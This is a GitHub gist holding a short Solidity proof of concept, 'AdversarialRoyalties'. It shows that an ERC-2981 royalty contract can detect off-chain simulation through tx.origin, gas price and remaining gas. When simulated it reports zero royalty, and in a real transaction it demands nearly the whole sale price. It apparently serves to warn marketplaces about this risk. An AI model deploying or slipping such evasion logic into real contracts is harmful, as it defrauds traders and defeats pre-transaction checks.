Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@karmacoma-eth
Created February 15, 2022 02:26
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save karmacoma-eth/025c6594187c5cea9f9ca823ab22e907 to your computer and use it in GitHub Desktop.
Save karmacoma-eth/025c6594187c5cea9f9ca823ab22e907 to your computer and use it in GitHub Desktop.
What if a contract returns different data when viewed off-chain vs during a transaction?
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
contract AdversarialRoyalties {
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
function supportsInterface(bytes4 interfaceID) external pure returns (bool) {
return interfaceID == _INTERFACE_ID_ERC2981;
}
function isEvaluatedOffchain() public view returns (bool) {
return tx.origin == address(0)
|| tx.gasprice <= 1
|| gasleft() > 30_000_000;
}
function royaltyInfo(
uint256 /* _tokenId */,
uint256 _salePrice
) public view returns (
address receiver,
uint256 royaltyAmount
) {
receiver = address(0xdEaD);
royaltyAmount = isEvaluatedOffchain()
? 0 // looks like we're in getRoyaltyView(), so play nice
: _salePrice - 1; // during an actual transaction, be nasty
}
}
@karmacoma-eth
Copy link
Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment